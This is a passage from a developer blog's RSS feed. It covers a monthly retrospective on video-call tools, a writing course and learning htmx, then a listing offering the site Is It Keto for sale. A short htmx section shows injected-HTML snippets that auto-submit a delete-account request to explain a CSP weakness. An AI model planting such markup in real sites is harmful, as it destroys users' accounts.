&lt;p>I was surprised to find that there aren&amp;rsquo;t really viable alternatives to Zoom for video calls. I&amp;rsquo;ve avoided Zoom ever since they were &lt;a href="https://arstechnica.com/tech-policy/2020/11/zoom-lied-to-users-about-end-to-end-encryption-for-years-ftc-says/">caught lying about their security&lt;/a>, but they seem to be the only game in town for live courses.&lt;/p>
&lt;p>I&amp;rsquo;ve used Jitsi Meet for work meetings for the past few years, and I&amp;rsquo;ve had a mostly good experience with it, but I&amp;rsquo;ve noticed that quality is better when I attend Zoom meetings. I was hoping to find a paid tier of Jitsi Meet, but all of their paid options are priced at &amp;ldquo;Contact Us,&amp;rdquo; which likely means at least $1k/month.&lt;/p>
&lt;p>So, Jitsi&amp;rsquo;s fine, albeit a little clunky. It doesn&amp;rsquo;t support recording, so my workaround is to:&lt;/p>
&lt;ol>
&lt;li>Host the class video call on my laptop.&lt;/li>
&lt;li>Join the call from my desktop.&lt;/li>
&lt;li>From my desktop, record the call using regular screen-recording software.&lt;/li>
&lt;li>Upload the video to &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>.&lt;/li>
&lt;li>Email the PicoShare link to the class.&lt;/li>
&lt;/ol>
&lt;p>It&amp;rsquo;s more complex than I&amp;rsquo;d like, but it does have the side benefit that I can look at my desktop monitor and see everyone&amp;rsquo;s faces even though the slides I&amp;rsquo;m presenting take up my whole screen.&lt;/p>
&lt;p>If you know of a better alternative to Jitsi Meet, &lt;a href="#requests-for-help">let me know&lt;/a>.&lt;/p>
&lt;h3 id="should-i-pivot-away-from-hacker-news">Should I pivot away from Hacker News?&lt;/h3>
&lt;p>About half the students who joined the course said that they&amp;rsquo;re not especially interested in Hacker News. They just liked my writing and wanted to learn more about my process, so they signed up in spite of the Hacker News focus.&lt;/p>
&lt;p>Looking back at the survey data, there seems to be more interest in writing in general than there is for blogging in particular. And nobody requested Hacker News specifically.&lt;/p>
&lt;p>So, I&amp;rsquo;m wondering if I should pivot away from Hacker News and shift to something more general.&lt;/p>
&lt;p>My worry about pivoting from Hacker News is that I&amp;rsquo;ll lose my edge. There are a million people teaching about blogging or writing, so I don&amp;rsquo;t feel like I can stand out in that pool. If I teach Hacker News specifically, I&amp;rsquo;m the world&amp;rsquo;s best teacher in that domain because nobody else is doing that.&lt;/p>
&lt;p>The other issue with pivoting away from Hacker News is that most of my evidence of blogging success is around Hacker News. Among personal bloggers, I&amp;rsquo;ve had unusual success on Hacker News. If I teach a more general writing course, I have less impressive credentials. I don&amp;rsquo;t make money from my blog or have a massive subscriber count to boast about.&lt;/p>
&lt;p>At the same time, I think most people who purchased my course were people who found me first and then found my course. They probably didn&amp;rsquo;t search for the world&amp;rsquo;s foremost expert on Hacker News.&lt;/p>
&lt;p>Maybe the takeaway is that I should worry less about competing with a large pool of other people because no matter what, the path to my course is probably going to be through me or through word of mouth.&lt;/p>
&lt;p>I&amp;rsquo;m 95% done with the course in its original Hacker News format, so I&amp;rsquo;m going to release this one focusing on Hacker News. After that&amp;rsquo;s done, I&amp;rsquo;ll adapt the material for a more general course.&lt;/p>
&lt;h2 id="learning-htmx">Learning htmx&lt;/h2>
&lt;p>For the past two years, &lt;a href="https://htmx.org">htmx&lt;/a> has been popping up on my radar more and more. My friend &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/#sharing-code-between-client-side-and-server-side-rendering">Cory Zue uses htmx&lt;/a>, so it piqued my interest.&lt;/p>
&lt;p>For the longest time, the biggest hurdle was just that I didn&amp;rsquo;t get the point of htmx.&lt;/p>
&lt;p>One of the first lines in htmx&amp;rsquo;s landing page is, &amp;ldquo;Why should only &lt;code>&amp;lt;a&amp;gt;&lt;/code> &amp;amp; &lt;code>&amp;lt;form&amp;gt;&lt;/code> be able to make HTTP requests?&amp;rdquo; When I read that, I felt like, &amp;ldquo;Yeah, it&amp;rsquo;d be nice, but JavaScript can make any HTML element send any kind of request. Do I need to adopt a whole new methodology to avoid a few lines of JavaScript?&amp;rdquo;&lt;/p>
&lt;p>What finally made htmx click for me was the book, &lt;a href="https://hypermedia.systems">&lt;em>Hypermedia Systems&lt;/em>&lt;/a>. It&amp;rsquo;s written by the same authors of htmx, and it explains the motivation for htmx and gives detailed explanations of several scenarios where you can use it.&lt;/p>
&lt;p>If I had to pitch htmx to myself four years ago, here&amp;rsquo;s what I&amp;rsquo;d say.&lt;/p>
&lt;h3 id="my-pitch-for-htmx-to-my-past-self">My pitch for htmx, to my past self&lt;/h3>
&lt;p>Remember how when you first learned to program websites, you&amp;rsquo;d write HTML like this?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">form&lt;/span> &lt;span style="color:#bbb">action&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/users&amp;#34;&lt;/span> &lt;span style="color:#bbb">method&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;POST&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span> &lt;span style="color:#bbb">name&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;first-name&amp;#34;&lt;/span> &lt;span style="color:#bbb">placeholder&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;First name&amp;#34;&lt;/span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span> &lt;span style="color:#bbb">name&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;last-name&amp;#34;&lt;/span> &lt;span style="color:#bbb">placeholder&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;Last name&amp;#34;&lt;/span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span> &lt;span style="color:#bbb">type&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;submit&amp;#34;&lt;/span> &lt;span style="color:#bbb">value&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;Add user&amp;#34;&lt;/span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Today, you wouldn&amp;rsquo;t write that because you want to avoid reloading the entire page when the user submitted the form. The full-page reload is slow and disorienting, especially if all you wanted to do is show a message that says, &amp;ldquo;User added successfully.&amp;rdquo; And you don&amp;rsquo;t want to blow away all the user&amp;rsquo;s input if the server rejects the input.&lt;/p>
&lt;p>So, instead, you&amp;rsquo;d turn to JavaScript and do something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">document&lt;/span>.addEventListener(&lt;span style="color:#ed9d13">&amp;#34;DOMContentLoaded&amp;#34;&lt;/span>, () =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">document&lt;/span>.querySelector(&lt;span style="color:#ed9d13">&amp;#34;form&amp;#34;&lt;/span>).addEventListener(&lt;span style="color:#ed9d13">&amp;#34;submit&amp;#34;&lt;/span>, (evt) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> evt.preventDefault(); &lt;span style="color:#999;font-style:italic">// Block default submit.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> fetch(&lt;span style="color:#ed9d13">`/users`&lt;/span>, {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> method: &lt;span style="color:#ed9d13">&amp;#34;POST&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> credentials: &lt;span style="color:#ed9d13">&amp;#34;include&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> headers: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Accept: &lt;span style="color:#ed9d13">&amp;#34;application/json&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> body: JSON.stringify({
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> firstName: &lt;span style="color:#24909d">document&lt;/span>.querySelector(&lt;span style="color:#ed9d13">&amp;#34;[name=&amp;#39;first-name&amp;#39;]&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> lastName: &lt;span style="color:#24909d">document&lt;/span>.querySelector(&lt;span style="color:#ed9d13">&amp;#34;[name=&amp;#39;last-name&amp;#39;]&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((response) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (response.ok) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> response.json();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// TODO: Handle errors too.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((result) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// TODO: Handle success.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>});
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s not a ton of JavaScript, but you rewrite it every time you need a form. And you can refactor the repeated code, but that spreads UI logic across several files. It&amp;rsquo;s extra friction for every client interaction with the server.&lt;/p>
&lt;p>Or maybe you&amp;rsquo;d turn to a heavy framework like React or Vue, and now there are countless layers of JavaScript abstraction between your code and what appears in the browser.&lt;/p>
&lt;p>The promise of htmx is a return to the simplicity of when you first learned to make web pages. Instead of writing HTML and then offloading all of the logic to React or hand-written event handlers, you&amp;rsquo;d fold htmx into your app and then write your form like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">form&lt;/span> &lt;span style="color:#bbb">hx-post&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/users&amp;#34;&lt;/span> &lt;span style="color:#bbb">hx-target&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;this&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span> &lt;span style="color:#bbb">name&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;first-name&amp;#34;&lt;/span> &lt;span style="color:#bbb">placeholder&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;First name&amp;#34;&lt;/span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span> &lt;span style="color:#bbb">name&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;last-name&amp;#34;&lt;/span> &lt;span style="color:#bbb">placeholder&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;Last name&amp;#34;&lt;/span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span> &lt;span style="color:#bbb">type&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;submit&amp;#34;&lt;/span> &lt;span style="color:#bbb">value&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;Add user&amp;#34;&lt;/span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then htmx makes everything just work without you having to write any custom JavaScript.&lt;/p>
&lt;h3 id="my-experience-with-htmx-so-far">My experience with htmx so far&lt;/h3>
&lt;p>To test out htmx, I&amp;rsquo;ve been &lt;a href="https://weeks.mtlynch.io/2024-07-05">rewriting&lt;/a> parts of &lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a> using htmx. ScreenJournal is my open-source movie review app. It&amp;rsquo;s like Goodreads for movies. Or it&amp;rsquo;s like letterboxd, but open-source and ugly.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/07/screenjournal.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/07/screenjournal_hu_eb3e9a020ef0d047.png 300w, https://mtlynch.io/retrospectives/2024/07/screenjournal_hu_b3420a050bb5748b.png 600w, https://mtlynch.io/retrospectives/2024/07/screenjournal_hu_b7459d9bab99f38c.png 800w, https://mtlynch.io/retrospectives/2024/07/screenjournal_hu_ce8191805326890d.png 1200w, https://mtlynch.io/retrospectives/2024/07/screenjournal.png 1428w'
 src="https://mtlynch.io/retrospectives/2024/07/screenjournal.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a> is my hobby project web app for reviewing movies.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A good example of my rewrite was &lt;a href="https://github.com/mtlynch/screenjournal/pull/291/files">reimplementing the notification preferences page with htmx&lt;/a>. I&amp;rsquo;ve got a page that allows users to specify which emails they&amp;rsquo;d like to receive:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 459px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/07/screenjournal-notifications.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 459px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/07/screenjournal-notifications_hu_47c4b76e1b5b39c6.png 300w, https://mtlynch.io/retrospectives/2024/07/screenjournal-notifications.png 457w'
 src="https://mtlynch.io/retrospectives/2024/07/screenjournal-notifications.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Page on ScrenJournal for controlling notifications&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The notifications page required a lot of custom JavaScript to do the following:&lt;/p>
&lt;ul>
&lt;li>Submit the form contents via &lt;code>fetch&lt;/code> rather than reloading the page.&lt;/li>
&lt;li>Disable the form for input while the request is in-flight.&lt;/li>
&lt;li>Show a status spinner while the request is in-flight.&lt;/li>
&lt;li>Show an error message if the request fails.&lt;/li>
&lt;/ul>
&lt;p>And here&amp;rsquo;s the transition from vanilla JavaScript to htmx:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/screenjournal/blob/5852416173a5bb716a26e5351395ddffde5d384b/handlers/templates/pages/account-notifications.html">Before&lt;/a> (113 lines)&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/screenjournal/blob/ed9b96223eb47ff48739ae04f916c1969d5e805e/handlers/templates/pages/account-notifications.html">After&lt;/a> (85 lines, 25% smaller)&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s fewer lines of code overall, and it&amp;rsquo;s especially fewer lines of JavaScript. It moves logic from the frontend to the backend, which I prefer, as I find backend code easier to test than UI code.&lt;/p>
&lt;p>Here are some of my takeaways so far from using htmx:&lt;/p>
&lt;h4 id="htmx-adds-an-abstraction-layer-but-its-intuitive">htmx adds an abstraction layer, but it&amp;rsquo;s intuitive&lt;/h4>
&lt;ul>
&lt;li>With Vue and Angular, I had no idea how it was transforming my code into a web app.&lt;/li>
&lt;li>With htmx, the behavior is intuitive enough that I could probably reimplement htmx myself based on the way I see it work.&lt;/li>
&lt;/ul>
&lt;h4 id="htmxs-error-handling-is-underwhelming">htmx&amp;rsquo;s error handling is underwhelming&lt;/h4>
&lt;ul>
&lt;li>htmx&amp;rsquo;s model assumes that you send a request to the server and then place the server&amp;rsquo;s response in a single element on the page.&lt;/li>
&lt;li>The problem is that on success, I want to replace the HTML form, but on error, I want to leave the form untouched and show an error below the form.&lt;/li>
&lt;li>htmx&amp;rsquo;s answer is that the server should just re-render the HTML form with all the user&amp;rsquo;s input, but I don&amp;rsquo;t like that as it&amp;rsquo;s re-rendering from scratch something that was already there, and it expands surface area for XSS vulnerabilities.&lt;/li>
&lt;li>I can work around this by writing my own event handlers, but at that point, it feels like I&amp;rsquo;m fighting the framework a little bit.&lt;/li>
&lt;/ul>
&lt;h4 id="htmx-weakens-content-security-policy-csp">htmx weakens Content Security Policy (CSP)&lt;/h4>
&lt;ul>
&lt;li>I like &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">CSP&lt;/a> as a last line of defense for preventing cross-site scripting (XSS).&lt;/li>
&lt;li>htmx is mostly compatible with CSP, but because htmx does so much, an attacker gaining the ability to write custom HTML is effectively the same as the attacker gaining the ability to write arbitrary JavaScript.&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>&lt;code>&amp;lt;form action=https://mtlynch.io/delete-account&amp;quot; method=&amp;quot;post&amp;quot; onload=&amp;quot;this.submit()&amp;quot;&amp;gt;&lt;/code>
&lt;ul>
&lt;li>CSP will prevent this code from executing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>&amp;lt;form hx-post=&amp;quot;/delete-account&amp;quot; hx-trigger=&amp;quot;load&amp;quot;&amp;gt;&lt;/code>
&lt;ul>
&lt;li>CSP will allow this equivalent code to execute.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can still write secure applications using htmx, but it does prevent CSP from being a reliable last line of defense against XSS.&lt;/li>
&lt;/ul>
&lt;h2 id="selling-is-it-keto">Selling Is It Keto&lt;/h2>
&lt;p>I noticed this week that Amazon, at some point, changed the way they do affiliate links, which broke 90% of the affiliate links on Is It Keto. The site still earns money from Google AdSense, but I no longer have time to maintain it.&lt;/p>
&lt;p>I&amp;rsquo;m looking for someone to &lt;a href="https://mtlynch.io/notes/buy-is-it-keto/">purchase the site&lt;/a>, and I&amp;rsquo;ll sell it for below market value if I get a cool offer from another indie founder or aspiring entrepreneur.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>I started teaching my blogging course to a small cohort of students.&lt;/li>
&lt;li>I learned htmx by porting a lot of ScreenJournal to htmx.&lt;/li>
&lt;li>I recorded the first bonus content for the course.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>I&amp;rsquo;m not as bound to the Hacker News angle of my course as I thought.
&lt;ul>
&lt;li>If people are going to take my course, they&amp;rsquo;re probably going to do it because they like what I write rather than how well it performs on Hacker News, so I should think more about what that customer is like.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Record publishable versions of four lessons from the course.&lt;/li>
&lt;li>Start selling the new version of the course.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;h4 id="video-call-platform">Video call platform&lt;/h4>
&lt;p>Let me know if you have suggestions for a video call platform that meets these criteria:&lt;/p>
&lt;ul>
&lt;li>Must: Support up to 10 attendees for 90-minute calls.&lt;/li>
&lt;li>Must: Allow participants to join the call without creating a new account or installing software on their device.&lt;/li>
&lt;li>Must: Cost $80/mo or less.&lt;/li>
&lt;li>Nice to have: Allows me to record video calls.&lt;/li>
&lt;/ul>
&lt;h4 id="experience-with-course-platforms">Experience with course platforms&lt;/h4>
&lt;p>Let me know if you&amp;rsquo;ve had experience as an instructor or student on course platforms like Maven or Udacity.&lt;/p></content:encoded></item><item><title>Want to Buy Is It Keto?</title><link>https://mtlynch.io/notes/buy-is-it-keto/</link><pubDate>Thu, 11 Jul 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/buy-is-it-keto/</guid><description>&lt;div class="notice notice-warning">
 &lt;strong>Update (2024-07-12)&lt;/strong>: I&amp;rsquo;ve received more inquiries than I expected, so I&amp;rsquo;m now closing applications.
&lt;/div>

&lt;p>I&amp;rsquo;m looking for someone to take over my old content website, &lt;a href="https://isitketo.org">Is It Keto&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_20a707946a855e95.png 300w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_8bf23eccfa0b718a.png 600w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_393a8efac80ad92f.png 800w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_65abe71282a06b21.png 1200w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage.png 1701w'
 src="https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> is for sale&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I worked on the site &lt;a href="https://mtlynch.io/retrospectives/2020/07/">on and off between 2019 and 2020&lt;/a>, but I no longer have time for it, so it&amp;rsquo;s just been neglected for the past several years. Still, it consistently earns $1-2k/yr in fully passive revenue.&lt;/p></description><content:encoded>&lt;div class="notice notice-warning">
 &lt;strong>Update (2024-07-12)&lt;/strong>: I&amp;rsquo;ve received more inquiries than I expected, so I&amp;rsquo;m now closing applications.
&lt;/div>

&lt;p>I&amp;rsquo;m looking for someone to take over my old content website, &lt;a href="https://isitketo.org">Is It Keto&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_20a707946a855e95.png 300w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_8bf23eccfa0b718a.png 600w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_393a8efac80ad92f.png 800w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage_hu_65abe71282a06b21.png 1200w, https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage.png 1701w'
 src="https://mtlynch.io/notes/buy-is-it-keto/isitketo-homepage.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> is for sale&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I worked on the site &lt;a href="https://mtlynch.io/retrospectives/2020/07/">on and off between 2019 and 2020&lt;/a>, but I no longer have time for it, so it&amp;rsquo;s just been neglected for the past several years. Still, it consistently earns $1-2k/yr in fully passive revenue.&lt;/p>
&lt;h2 id="stats-for-last-six-months">Stats for last six months&lt;/h2>
&lt;p>From January 1, 2024 until June 30, 2024, here are the key stats for the site:&lt;/p>
&lt;ul>
&lt;li>Unique visitors: 53k&lt;/li>
&lt;li>Total pageviews: 128k&lt;/li>
&lt;li>Revenue from Google AdSense: $947.51&lt;/li>
&lt;li>Revenue from Amazon Affiliate program: $139.30&lt;/li>
&lt;li>Total revenue (last six months): $1,086.81
&lt;ul>
&lt;li>$1,793.20 in last 12 months&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ahrefs domain rating (current): 18&lt;/li>
&lt;/ul>
&lt;h2 id="asking-price">Asking price&lt;/h2>
&lt;p>I&amp;rsquo;m looking for a minimum price of &lt;strong>$1k&lt;/strong>.&lt;/p>
&lt;p>This is below market value, as I&amp;rsquo;m more interested in selling the site to someone who wants to do something interesting with it.&lt;/p>
&lt;h2 id="ideal-buyer">Ideal buyer&lt;/h2>
&lt;p>In short, I want to sell to someone who wants to continue building the site and doesn&amp;rsquo;t require hand-holding.&lt;/p>
&lt;p>I&amp;rsquo;d like to sell to someone who is:&lt;/p>
&lt;ul>
&lt;li>Interested in entrepreneurship.&lt;/li>
&lt;li>Comfortable working with JavaScript and HTML code, especially Vue 2.&lt;/li>
&lt;li>Interested in growing the site.
&lt;ul>
&lt;li>You don&amp;rsquo;t have to make it your full-time job, but I&amp;rsquo;m hoping to sell to someone who wants to try new things with the site rather than just sit back and collect revenue.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bonus: You have a history of building in public.&lt;/li>
&lt;/ul>
&lt;p>I don&amp;rsquo;t want to sell to someone who uses spammy tactics or deceives users for growth. A lot of other diet sites monetize by tricking users into purchasing snake oil, and I&amp;rsquo;ve always hated that.&lt;/p>
&lt;p>I can&amp;rsquo;t control what you do after you take over the site, but I&amp;rsquo;ll give preference to buyers who have a track record of operating ethically.&lt;/p>
&lt;h2 id="whats-appealing-about-the-business">What&amp;rsquo;s appealing about the business?&lt;/h2>
&lt;ul>
&lt;li>It&amp;rsquo;s a static site, so it&amp;rsquo;s inexpensive to host.
&lt;ul>
&lt;li>It fits into the free tier of most static hosting platforms.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>As a static site, it&amp;rsquo;s also low-maintenance, as there&amp;rsquo;s no server or database to manage.&lt;/li>
&lt;li>All the build steps are already in CI, so there&amp;rsquo;s no magic to learning to build the site.&lt;/li>
&lt;li>There&amp;rsquo;s low-hanging fruit to increase the revenue, as I haven&amp;rsquo;t updated Amazon affiliate links in years, and most pages are missing affiliate links entirely.&lt;/li>
&lt;/ul>
&lt;h2 id="what-are-the-risks-with-the-business">What are the risks with the business?&lt;/h2>
&lt;ul>
&lt;li>It&amp;rsquo;s the kind of content that LLMs are trying to dominate.
&lt;ul>
&lt;li>It&amp;rsquo;s possible that in a year, everyone will ask an LLM which foods are keto rather than use a website.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The site is built on an obsolete JavaScript framework.
&lt;ul>
&lt;li>It will take a few hours of work to port the code to something more modern.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The keto diet is &lt;a href="https://trends.google.com/trends/explore?date=today%205-y&amp;amp;geo=US&amp;amp;q=keto&amp;amp;hl=en">fading in popularity&lt;/a>, so a keto diet site will shrink with it.&lt;/li>
&lt;/ul>
&lt;h2 id="tech-stack">Tech stack&lt;/h2>
&lt;ul>
&lt;li>Gridsome / Vue2
&lt;ul>
&lt;li>Gridsome is a static site generator built on top of Vue2.&lt;/li>
&lt;li>Gridsome is defunct, but the tool still builds the site without issue.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>CircleCI
&lt;ul>
&lt;li>Automatically runs linters and end-to-end tests on every commit.&lt;/li>
&lt;li>Automatically builds and publishes site to Netlify on every commit to the main branch.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Gridsome is slow, but all of the content is in Markdown, so you can easily port it to another static site generator. It should be easy to port it to a more modern Vue-based static site generator like &lt;a href="https://content.nuxt.com/">Nuxt Content&lt;/a>. There are only ~2,000 lines of Vue code in the project.&lt;/p>
&lt;h3 id="hosting">Hosting&lt;/h3>
&lt;p>I currently host Is It Keto on Netlify.&lt;/p>
&lt;h2 id="what-you-get">What you get&lt;/h2>
&lt;ul>
&lt;li>Transfer of isitketo.org domain&lt;/li>
&lt;li>Transfer of admin of Google Analytics for isitketo.org domain&lt;/li>
&lt;li>Transfer of admin of Google Search Console for isitketo.org domain&lt;/li>
&lt;li>Is It Keto&amp;rsquo;s &lt;a href="https://twitter.com/HeyIsItKeto">Twitter account&lt;/a>&lt;/li>
&lt;li>Is It Keto&amp;rsquo;s &lt;a href="https://www.pinterest.com/isitketo/">Pinterest account&lt;/a>&lt;/li>
&lt;li>Is It Keto web app git repository&lt;/li>
&lt;li>&lt;a href="https://recipe-search.isitketo.org">Keto Recipe Search&lt;/a> git repositories
&lt;ul>
&lt;li>This is an old web application that&amp;rsquo;s a sister site to the main Is It Keto website hosted on a subdomain.&lt;/li>
